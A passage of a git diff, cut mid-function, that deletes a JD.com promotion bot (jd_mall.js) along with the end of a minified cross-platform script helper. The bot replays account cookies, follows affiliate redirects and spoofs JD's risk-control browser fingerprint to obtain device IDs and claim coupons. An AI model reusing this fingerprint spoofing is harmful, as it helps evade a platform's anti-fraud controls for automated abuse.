&& (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/activity/jd_mall.js b/activity/jd_mall.js deleted file mode 100644 index f9692cf..0000000 --- a/activity/jd_mall.js +++ /dev/null @@ -1,3325 +0,0 @@ -/* -逛京东会场 -自定义环境变量 ACT_URL 为json地址,格式参考默认 -0 0 * * * jd_mall.js -*/ -const $ = new Env("逛会场任务"); -const jdCookieNode = $.isNode() ? require("./jdCookie.js") : ""; -let cookiesArr = [], cookie; -let actURL = '' -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]); - }); - if (process.env.JD_DEBUG && process.env.JD_DEBUG === "false") - console.log = () => {}; - if (process.env.ACT_URL && process.env.ACT_URL === '') console.log = () => {}; - actURL = process.env.ACT_URL || 'https://gitee.com/fatelight/code/raw/master/mall_active.json' -} else { - cookiesArr = [$.getdata("CookieJD"), $.getdata("CookieJD2"), ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", "https://bean.m.jd.com/bean/signIndex.action", { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - $.getCodeListerr = false; - mallActiveList = await getCodeList(actURL) - if ($.getCodeListerr === true) { - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); - $.index = i + 1; - $.isLogin = true; - $.nickName = ""; - //await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue; - } - for (let vo in mallActiveList) { - for (let index = 0; index < mallActiveList[vo].length; index++) { - await main(vo,mallActiveList[vo][index].split(',')[random(0, mallActiveList[vo][index].split(',').length)]); - } - - } - } - } - } else { - console.log('当前不在任务时间,请在活动时间内运行脚本') - } - -})() - .catch((e) => { - $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); - }) - .finally(() => { - $.done(); - }); - -async function main(urlID,code) { - let userName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]); - $.UA = `jdapp;iPhone;10.2.0;13.1.2;${randomString(40)};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/2308460622;appBuild/167853;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;`; - $.max = false; - $.hotFlag = false; - $.code = code; - for (let i = 0; i < 1 && !$.max; i++) { - $.newCookie = ""; - $.url1 = ""; - $.url2 = ""; - $.eid = ""; - await getInfo1(); - if (!$.url1) { - console.log(`${userName},初始化1失败,可能黑号`); - $.hotFlag = true; - break; - } - await getInfo2(urlID); - if (!$.url2) { - console.log(`${userName},初始化2失败,可能黑号`); - $.hotFlag = true; - break; - } - $.actId = ($.url2.match(/mall\/active\/([^/]+)\/index\.html/) && $.url2.match(/mall\/active\/([^/]+)\/index\.html/)[1]); - let arr = getBody($.UA, $.url2); - await getEid(arr); - console.log(`$.actId:` + $.actId); - await $.wait(500); - } -} - -function getEid(arr) { - return new Promise((resolve) => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${arr.a}`, - body: `d=${arr.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.UA, - }, - }; - $.post(options, async (err, resp, data) => { - try { - if (err) { - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]); - $.eid = data.eid; - } else { - console.log(`京豆api返回数据为空,请检查自身原因`); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", - a = t.length, - n = ""; - for (i = 0; i < e; i++) n += t.charAt(Math.floor(Math.random() * a)); - return n; -} - -async function getCoupons() { - return new Promise((resolve) => { - let opts = { - url: `https://api.m.jd.com/api?functionId=getUnionFreeCoupon&appid=u&loginType=2&_=${Date.now()}&body=${encodeURIComponent(JSON.stringify({"couponUrl":$.couponUrl,"source":20118}))}`, - headers: { - "Host": "api.m.jd.com", - "Accept": "application/json, text/plain, */*", - "Origin": "https://prodev.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "User-Agent": $.UA, - "Accept-Language": "zh-CN,zh-Hans;q=0.9", - "Referer": "https://prodev.m.jd.com/", - "Cookie": `${cookie} ${$.newCookie}` - - } - }; - $.get(opts, async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`); - console.log(`${$.name} API请求失败,请检查网路重试`); - } else { - let res = $.toObj(data, data); - if (typeof res == "object") { - if (res.msg) { - console.log("异常:" + res.msg); - } - if (res.msg.indexOf("上限") !== -1 || res.msg.indexOf("未登录") !== -1) { - $.max = true; - } - if (res.code == 200 && res.data) { - if (res.data.couponType == 2) { - console.log(`获得红包:${res.data.discount || 0}元`); - } - } - } else { - console.log(data); - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(); - } - }); - }); -} - -async function getInfo2(urlID) { - return new Promise((resolve) => { - const options = { - url: $.url1, - followRedirect: false, - headers: { - Cookie: `${cookie} ${$.newCookie}`, - "user-agent": $.UA, - }, - }; - $.get(options, async (err, resp, data) => { - try { - let setcookies = (resp && resp["headers"] && (resp["headers"]["set-cookie"] || resp["headers"]["Set-Cookie"] || "")) || ""; - let setcookie = ""; - if (setcookies) { - if (typeof setcookies != "object") { - setcookie = setcookies.split(","); - } else setcookie = setcookies; - for (let ck of setcookie) { - let name = ck.split(";")[0].trim(); - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) - $.newCookie += name.replace(/ /g, "") + "; "; - } - } - } - $.url2 = (resp && resp["headers"] && (resp["headers"]["location"] || resp["headers"]["Location"] || "")) || ""; - $.url2 = decodeURIComponent($.url2); - switch (urlID) { - case 'prodev': - $.url2 = ($.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/prodev\.m\.jd\.com\/mall[^'"]+)/)[1]) || ""; - break; - case 'pro': - $.url2 = ($.url2.match(/(https:\/\/pro\.m\.jd\.com\/mall[^'"]+)/) && $.url2.match(/(https:\/\/pro\.m\.jd\.com\/mall[^'"]+)/)[1]) || ""; - break; - default: - break; - } - - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -async function getInfo1(cookie) { - return new Promise((resolve) => { - const options = { - url: `https://u.jd.com/${$.code}`, - followRedirect: false, - headers: { - Cookie: cookie, - "user-agent": $.UA, - }, - }; - $.get(options, async (err, resp, data) => { - try { - let setcookies = (resp && resp["headers"] && (resp["headers"]["set-cookie"] || resp["headers"]["Set-Cookie"] || "")) || ""; - let setcookie = ""; - if (setcookies) { - if (typeof setcookies != "object") { - setcookie = setcookies.split(","); - } else setcookie = setcookies; - for (let ck of setcookie) { - let name = ck.split(";")[0].trim(); - if (name.split("=")[1]) { - if ($.newCookie.indexOf(name.split("=")[1]) == -1) - $.newCookie += name.replace(/ /g, "") + "; "; - } - } - } - $.url1 = (data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/) && data.match(/(https:\/\/u\.jd\.com\/jda[^']+)/)[1]) || ""; - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data); - } - }); - }); -} - -const navigator = { - userAgent: $.isNode() ? require("./USER_AGENTS").USER_AGENT : $.UA, - plugins: { length: 0 }, - language: "zh-CN", -}; -const screen = { - availHeight: 812, - availWidth: 375, - colorDepth: 24, - height: 812, - width: 375, - pixelDepth: 24, -}; -const window = {}; -const document = { - location: { - ancestorOrigins: {}, - href: "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - origin: "https://prodev.m.jd.com", - protocol: "https:", - host: "prodev.m.jd.com", - hostname: "prodev.m.jd.com", - port: "", - pathname: "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", - search: "", - hash: "", - }, -}; -var start_time = new Date().getTime(), - _jdfp_canvas_md5 = "", - _jdfp_webgl_md5 = "", - _fingerprint_step = 1, - _JdEid = "", - _eidFlag = !1, - risk_jd_local_fingerprint = "", - _jd_e_joint_; - -function t(a) { - if (null == a || void 0 == a || "" == a) return "NA"; - if (null == a || void 0 == a || "" == a) var b = ""; - else { - b = []; - for (var c = 0; c < 8 * a.length; c += 8) - b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32; - } - a = 8 * a.length; - b[a >> 5] |= 128 << a % 32; - b[(((a + 64) >>> 9) << 4) + 14] = a; - a = 1732584193; - c = -271733879; - for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { - var z = a, - C = c, - D = l, - B = h; - a = v(a, c, l, h, b[q + 0], 7, -680876936); - h = v(h, a, c, l, b[q + 1], 12, -389564586); - l = v(l, h, a, c, b[q + 2], 17, 606105819); - c = v(c, l, h, a, b[q + 3], 22, -1044525330); - a = v(a, c, l, h, b[q + 4], 7, -176418897); - h = v(h, a, c, l, b[q + 5], 12, 1200080426); - l = v(l, h, a, c, b[q + 6], 17, -1473231341); - c = v(c, l, h, a, b[q + 7], 22, -45705983); - a = v(a, c, l, h, b[q + 8], 7, 1770035416); - h = v(h, a, c, l, b[q + 9], 12, -1958414417); - l = v(l, h, a, c, b[q + 10], 17, -42063); - c = v(c, l, h, a, b[q + 11], 22, -1990404162); - a = v(a, c, l, h, b[q + 12], 7, 1804603682); - h = v(h, a, c, l, b[q + 13], 12, -40341101); - l = v(l, h, a, c, b[q + 14], 17, -1502002290); - c = v(c, l, h, a, b[q + 15], 22, 1236535329); - a = x(a, c, l, h, b[q + 1], 5, -165796510); - h = x(h, a, c, l, b[q + 6], 9, -1069501632); - l = x(l, h, a, c, b[q + 11], 14, 643717713); - c = x(c, l, h, a, b[q + 0], 20, -373897302); - a = x(a, c, l, h, b[q + 5], 5, -701558691); - h = x(h, a, c, l, b[q + 10], 9, 38016083); - l = x(l, h, a, c, b[q + 15], 14, -660478335); - c = x(c, l, h, a, b[q + 4], 20, -405537848); - a = x(a, c, l, h, b[q + 9], 5, 568446438); - h = x(h, a, c, l, b[q + 14], 9, -1019803690); - l = x(l, h, a, c, b[q + 3], 14, -187363961); - c = x(c, l, h, a, b[q + 8], 20, 1163531501); - a = x(a, c, l, h, b[q + 13], 5, -1444681467); - h = x(h, a, c, l, b[q + 2], 9, -51403784); - l = x(l, h, a, c, b[q + 7], 14, 1735328473); - c = x(c, l, h, a, b[q + 12], 20, -1926607734); - a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); - h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); - l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); - c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); - a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); - h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); - l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); - c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); - a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); - h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); - l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); - c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); - a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); - h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); - l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); - c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); - a = w(a, c, l, h, b[q + 0], 6, -198630844); - h = w(h, a, c, l, b[q + 7], 10, 1126891415); - l = w(l, h, a, c, b[q + 14], 15, -1416354905); - c = w(c, l, h, a, b[q + 5], 21, -57434055); - a = w(a, c, l, h, b[q + 12], 6, 1700485571); - h = w(h, a, c, l, b[q + 3], 10, -1894986606); - l = w(l, h, a, c, b[q + 10], 15, -1051523); - c = w(c, l, h, a, b[q + 1], 21, -2054922799); - a = w(a, c, l, h, b[q + 8], 6, 1873313359); - h = w(h, a, c, l, b[q + 15], 10, -30611744); - l = w(l, h, a, c, b[q + 6], 15, -1560198380); - c = w(c, l, h, a, b[q + 13], 21, 1309151649); - a = w(a, c, l, h, b[q + 4], 6, -145523070); - h = w(h, a, c, l, b[q + 11], 10, -1120210379); - l = w(l, h, a, c, b[q + 2], 15, 718787259); - c = w(c, l, h, a, b[q + 9], 21, -343485551); - a = A(a, z); - c = A(c, C); - l = A(l, D); - h = A(h, B); - } - b = [a, c, l, h]; - a = ""; - for (c = 0; c < 4 * b.length; c++) - a += - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8 + 4)) & 15) + - "0123456789abcdef".charAt((b[c >> 2] >> ((c % 4) * 8)) & 15); - return a; -} - -function u(a, b, c, l, h, q) { - a = A(A(b, a), A(l, q)); - return A((a << h) | (a >>> (32 - h)), c); -} - -function v(a, b, c, l, h, q, z) { - return u((b & c) | (~b & l), a, b, h, q, z); -} - -function x(a, b, c, l, h, q, z) { - return u((b & l) | (c & ~l), a, b, h, q, z); -} - -function w(a, b, c, l, h, q, z) { - return u(c ^ (b | ~l), a, b, h, q, z); -} - -function A(a, b) { - var c = (a & 65535) + (b & 65535); - return (((a >> 16) + (b >> 16) + (c >> 16)) << 16) | (c & 65535); -} - -_fingerprint_step = 2; -var y = "", - n = navigator.userAgent.toLowerCase(); -n.indexOf("jdapp") && (n = n.substring(0, 90)); -var e = navigator.language, - f = n; --1 != f.indexOf("ipad") || - -1 != f.indexOf("iphone os") || - -1 != f.indexOf("midp") || - -1 != f.indexOf("rv:1.2.3.4") || - -1 != f.indexOf("ucweb") || - -1 != f.indexOf("android") || - -1 != f.indexOf("windows ce") || - f.indexOf("windows mobile"); -var r = "NA", - k = "NA"; -try { - -1 != f.indexOf("win") && - -1 != f.indexOf("95") && - ((r = "windows"), (k = "95")), - -1 != f.indexOf("win") && - -1 != f.indexOf("98") && - ((r = "windows"), (k = "98")), - -1 != f.indexOf("win 9x") && - -1 != f.indexOf("4.90") && - ((r = "windows"), (k = "me")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.0") && - ((r = "windows"), (k = "2000")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt") && - ((r = "windows"), (k = "NT")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "xp")), - -1 != f.indexOf("win") && - -1 != f.indexOf("32") && - ((r = "windows"), (k = "32")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 5.1") && - ((r = "windows"), (k = "7")), - -1 != f.indexOf("win") && - -1 != f.indexOf("6.0") && - ((r = "windows"), (k = "8")), - -1 == f.indexOf("win") || - (-1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1")) || - ((r = "windows"), (k = "9")), - -1 != f.indexOf("win") && - -1 != f.indexOf("nt 6.2") && - ((r = "windows"), (k = "10")), - -1 != f.indexOf("linux") && (r = "linux"), - -1 != f.indexOf("unix") && (r = "unix"), - -1 != f.indexOf("sun") && -1 != f.indexOf("os") && (r = "sun os"), - -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), - -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), - -1 != f.indexOf("aix") && (r = "aix"), - -1 != f.indexOf("powerpc") && (r = "powerPC"), - -1 != f.indexOf("hpux") && (r = "hpux"), - -1 != f.indexOf("netbsd") && (r = "NetBSD"), - -1 != f.indexOf("bsd") && (r = "BSD"), - -1 != f.indexOf("osf1") && (r = "OSF1"), - -1 != f.indexOf("irix") && ((r = "IRIX"), (k = "")), - -1 != f.indexOf("freebsd") && (r = "FreeBSD"), - -1 != f.indexOf("symbianos") && - ((r = "SymbianOS"), (k = f.substring(f.indexOf("SymbianOS/") + 10, 3))); -} catch (a) {} -_fingerprint_step = 3; -var g = "NA", - m = "NA"; -try { - -1 != f.indexOf("msie") && - ((g = "ie"), - (m = f.substring(f.indexOf("msie ") + 5)), - m.indexOf(";") && (m = m.substring(0, m.indexOf(";")))); - -1 != f.indexOf("firefox") && - ((g = "Firefox"), (m = f.substring(f.indexOf("firefox/") + 8))); - -1 != f.indexOf("opera") && - ((g = "Opera"), (m = f.substring(f.indexOf("opera/") + 6, 4))); - -1 != f.indexOf("safari") && - ((g = "safari"), (m = f.substring(f.indexOf("safari/") + 7))); - -1 != f.indexOf("chrome") && - ((g = "chrome"), - (m = f.substring(f.indexOf("chrome/") + 7)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("navigator") && - ((g = "navigator"), (m = f.substring(f.indexOf("navigator/") + 10))); - -1 != f.indexOf("applewebkit") && - ((g = "applewebkit_chrome"), - (m = f.substring(f.indexOf("applewebkit/") + 12)), - m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - -1 != f.indexOf("sogoumobilebrowser") && - (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); - if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) - g = "UC\u6d4f\u89c8\u5668"; - if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) - g = "QQ\u6d4f\u89c8\u5668"; - -1 != f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - -1 != f.indexOf("360se") && (g = "360\u6d4f\u89c8\u5668"); - -1 != f.indexOf("the world") && - (g = "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - -1 != f.indexOf("maxthon") && (g = "\u9068\u6e38\u6d4f\u89c8\u5668"); -} catch (a) {} - -class JdJrTdRiskFinger { - f = { - options: function () { - return {}; - }, - nativeForEach: Array.prototype.forEach, - nativeMap: Array.prototype.map, - extend: function (a, b) { - if (null == a) return b; - for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); - return b; - }, - getData: function () { - return y; - }, - get: function (a) { - var b = 1 * m, - c = []; - "ie" == g && 7 <= b - ? (c.push(n), - c.push(e), - (y = y + ",'userAgent':'" + t(n) + "','language':'" + e + "'"), - this.browserRedirect(n)) - : ((c = this.userAgentKey(c)), (c = this.languageKey(c))); - c.push(g); - c.push(m); - c.push(r); - c.push(k); - y = - y + - ",'os':'" + - r + - "','osVersion':'" + - k + - "','browser':'" + - g + - "','browserVersion':'" + - m + - "'"; - c = this.colorDepthKey(c); - c = this.screenResolutionKey(c); - c = this.timezoneOffsetKey(c); - c = this.sessionStorageKey(c); - c = this.localStorageKey(c); - c = this.indexedDbKey(c); - c = this.addBehaviorKey(c); - c = this.openDatabaseKey(c); - c = this.cpuClassKey(c); - c = this.platformKey(c); - c = this.hardwareConcurrencyKey(c); - c = this.doNotTrackKey(c); - c = this.pluginsKey(c); - c = this.canvasKey(c); - c = this.webglKey(c); - b = this.x64hash128(c.join("~~~"), 31); - return a(b); - }, - userAgentKey: function (a) { - a.push(navigator.userAgent), - (y = y + ",'userAgent':'" + t(navigator.userAgent) + "'"), - this.browserRedirect(navigator.userAgent); - return a; - }, - replaceAll: function (a, b, c) { - for (; 0 <= a.indexOf(b); ) a = a.replace(b, c); - return a; - }, - browserRedirect: function (a) { - var b = a.toLowerCase(); - a = "ipad" == b.match(/ipad/i); - var c = "iphone os" == b.match(/iphone os/i), - l = "midp" == b.match(/midp/i), - h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), - q = "ucweb" == b.match(/ucweb/i), - z = "android" == b.match(/android/i), - C = "windows ce" == b.match(/windows ce/i); - b = "windows mobile" == b.match(/windows mobile/i); - y = - a || c || l || h || q || z || C || b - ? y + ",'origin':'mobile'" - : y + ",'origin':'pc'"; - }, - languageKey: function (a) { - "" || - (a.push(navigator.language), - (y = - y + - ",'language':'" + - this.replaceAll(navigator.language, " ", "_") + - "'")); - return a; - }, - colorDepthKey: function (a) { - "" || - (a.push(screen.colorDepth), - (y = y + ",'colorDepth':'" + screen.colorDepth + "'")); - return a; - }, - screenResolutionKey: function (a) { - if (!this.options.excludeScreenResolution) { - var b = this.getScreenResolution(); - "undefined" !== typeof b && - (a.push(b.join("x")), - (y = y + ",'screenResolution':'" + b.join("x") + "'")); - } - return a; - }, - getScreenResolution: function () { - return this.options.detectScreenOrientation - ? screen.height > screen.width - ? [screen.height, screen.width] - : [screen.width, screen.height] - : [screen.height, screen.width]; - }, - timezoneOffsetKey: function (a) { - this.options.excludeTimezoneOffset || - (a.push(new Date().getTimezoneOffset()), - (y = - y + - ",'timezoneOffset':'" + - new Date().getTimezoneOffset() / 60 + - "'")); - return a; - }, - sessionStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasSessionStorage() && - (a.push("sessionStorageKey"), (y += ",'sessionStorage':true")); - return a; - }, - localStorageKey: function (a) { - !this.options.excludeSessionStorage && - this.hasLocalStorage() && - (a.push("localStorageKey"), (y += ",'localStorage':true")); - return a; - }, - indexedDbKey: function (a) { - !this.options.excludeIndexedDB && - this.hasIndexedDB() && - (a.push("indexedDbKey"), (y += ",'indexedDb':true")); - return a; - }, - addBehaviorKey: function (a) { - document.body && - !this.options.excludeAddBehavior && - document.body.addBehavior - ? (a.push("addBehaviorKey"), (y += ",'addBehavior':true")) - : (y += ",'addBehavior':false"); - return a; - }, - openDatabaseKey: function (a) { - !this.options.excludeOpenDatabase && window.openDatabase - ? (a.push("openDatabase"), (y += ",'openDatabase':true")) - : (y += ",'openDatabase':false"); - return a; - }, - cpuClassKey: function (a) { - this.options.excludeCpuClass || - (a.push(this.getNavigatorCpuClass()), - (y = y + ",'cpu':'" + this.getNavigatorCpuClass() + "'")); - return a; - }, - platformKey: function (a) { - this.options.excludePlatform || - (a.push(this.getNavigatorPlatform()), - (y = y + ",'platform':'" + this.getNavigatorPlatform() + "'")); - return a; - }, - hardwareConcurrencyKey: function (a) { - var b = this.getHardwareConcurrency(); - a.push(b); - y = y + ",'ccn':'" + b + "'"; - return a; - }, - doNotTrackKey: function (a) { - this.options.excludeDoNotTrack || - (a.push(this.getDoNotTrack()), - (y = y + ",'track':'" + this.getDoNotTrack() + "'")); - return a; - }, - canvasKey: function (a) { - if (!this.options.excludeCanvas && this.isCanvasSupported()) { - var b = this.getCanvasFp(); - a.push(b); - _jdfp_canvas_md5 = t(b); - y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'"; - } - return a; - }, - webglKey: function (a) { - if (!this.options.excludeWebGL && this.isCanvasSupported()) { - var b = this.getWebglFp(); - _jdfp_webgl_md5 = t(b); - a.push(b); - y = y + ",'webglFp':'" + _jdfp_webgl_md5 + "'"; - } - return a; - }, - pluginsKey: function (a) { - this.isIE() - ? (a.push(this.getIEPluginsString()), - (y = y + ",'plugins':'" + t(this.getIEPluginsString()) + "'")) - : (a.push(this.getRegularPluginsString()), - (y = y + ",'plugins':'" + t(this.getRegularPluginsString()) + "'")); - return a; - }, - getRegularPluginsString: function () { - return this.map( - navigator.plugins, - function (a) { - var b = this.map(a, function (c) { - return [c.type, c.suffixes].join("~"); - }).join(","); - return [a.name, a.description, b].join("::"); - }, - this - ).join(";"); - }, - getIEPluginsString: function () { - return window.ActiveXObject - ? this.map( - "AcroPDF.PDF;Adodb.Stream;AgControl.AgControl;DevalVRXCtrl.DevalVRXCtrl.1;MacromediaFlashPaper.MacromediaFlashPaper;Msxml2.DOMDocument;Msxml2.XMLHTTP;PDF.PdfCtrl;QuickTime.QuickTime;QuickTimeCheckObject.QuickTimeCheck.1;RealPlayer;RealPlayer.RealPlayer(tm) ActiveX Control (32-bit);RealVideo.RealVideo(tm) ActiveX Control (32-bit);Scripting.Dictionary;SWCtl.SWCtl;Shell.UIHelper;ShockwaveFlash.ShockwaveFlash;Skype.Detection;TDCCtl.TDCCtl;WMPlayer.OCX;rmocx.RealPlayer G2 Control;rmocx.RealPlayer G2 Control.1".split( - ";" - ), - function (a) { - try { - return new ActiveXObject(a), a; - } catch (b) { - return null; - } - } - ).join(";") - : ""; - }, - hasSessionStorage: function () { - try { - return !!window.sessionStorage; - } catch (a) { - return !0; - } - }, - hasLocalStorage: function () { - try { - return !!window.localStorage; - } catch (a) { - return !0; - } - }, - hasIndexedDB: function () { - return true; - return !!window.indexedDB; - }, - getNavigatorCpuClass: function () { - return navigator.cpuClass ? navigator.cpuClass : "NA"; - }, - getNavigatorPlatform: function () { - return navigator.platform ? navigator.platform : "NA"; - }, - getHardwareConcurrency: function () { - return navigator.hardwareConcurrency - ? navigator.hardwareConcurrency - : "NA"; - }, - getDoNotTrack: function () { - return navigator.doNotTrack ? navigator.doNotTrack : "NA"; - }, - getCanvasFp: function () { - return ""; - var a = navigator.userAgent.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = document.createElement("canvas"); - var b = a.getContext("2d"); - b.fillStyle = "red"; - b.fillRect(30, 10, 200, 100); - b.strokeStyle = "#1a3bc1"; - b.lineWidth = 6; - b.lineCap = "round"; - b.arc(50, 50, 20, 0, Math.PI, !1); - b.stroke(); - b.fillStyle = "#42e1a2"; - b.font = "15.4px 'Arial'"; - b.textBaseline = "alphabetic"; - b.fillText("PR flacks quiz gym: TV DJ box when? \u2620", 15, 60); - b.shadowOffsetX = 1; - b.shadowOffsetY = 2; - b.shadowColor = "white"; - b.fillStyle = "rgba(0, 0, 200, 0.5)"; - b.font = "60px 'Not a real font'"; - b.fillText("No\u9a97", 40, 80); - return a.toDataURL(); - }, - getWebglFp: function () { - var a = navigator.userAgent; - a = a.toLowerCase(); - if ( - (0 < a.indexOf("jdjr-app") || 0 <= a.indexOf("jdapp")) && - (0 < a.indexOf("iphone") || 0 < a.indexOf("ipad")) - ) - return null; - a = function (D) { - b.clearColor(0, 0, 0, 1); - b.enable(b.DEPTH_TEST); - b.depthFunc(b.LEQUAL); - b.clear(b.COLOR_BUFFER_BIT | b.DEPTH_BUFFER_BIT); - return "[" + D[0] + ", " + D[1] + "]"; - }; - var b = 